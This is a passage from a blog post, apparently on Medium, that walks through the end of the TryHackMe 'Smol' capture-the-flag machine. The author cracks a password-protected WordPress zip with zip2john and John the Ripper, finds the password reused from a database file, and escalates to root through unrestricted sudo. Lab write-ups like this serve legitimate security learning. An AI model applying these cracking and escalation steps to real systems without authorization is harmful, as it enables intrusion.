alt="" src="https://cdn-images-1.medium.com/max/48/0*8jmwBfJnH5Ip1cA4" /></figure><p><a href="https://0xb0b.gitbook.io/writeups/tryhackme/2025/smol#shell-as-gege">Smol | Writeups</a></p><p>Here is bob’s write-up for more info</p><h3>Shell as xavi</h3><p>for my surprise this one was intresting so now that we have access to gege home folder we can find an old wordpress zip file when we try to unzip it , it ask for a password so i used john to crack it.</p><pre>using the command <br>zip2john &lt;zipname&gt;</pre><p>we can find this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bu-TSUYbFzFjtGHH" /></figure><p>then we just copy this into a file and crack it with john</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zCXJ5rYKNg7WH-JJ" /></figure><p>it the same password from the db file WOW.</p><h3>Shell as Root.</h3><p>once we login as xavi we use sudo -l and we can see that he has sudo for everything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C77tKc22T_rSZjee" /></figure><p>from here the mission is so simple we just use sudo su and we get root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/0*_ANhfpbrpos8Udyk" /></figure><h3>Conclusion.</h3><p>This machine was fun but the only issue was the shell to gege use was kinda weird and does not make sense as for the initial access and the other user was quite fun good machine overall.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4xP_CARkVIpWwd94" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c92ef2a0843" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>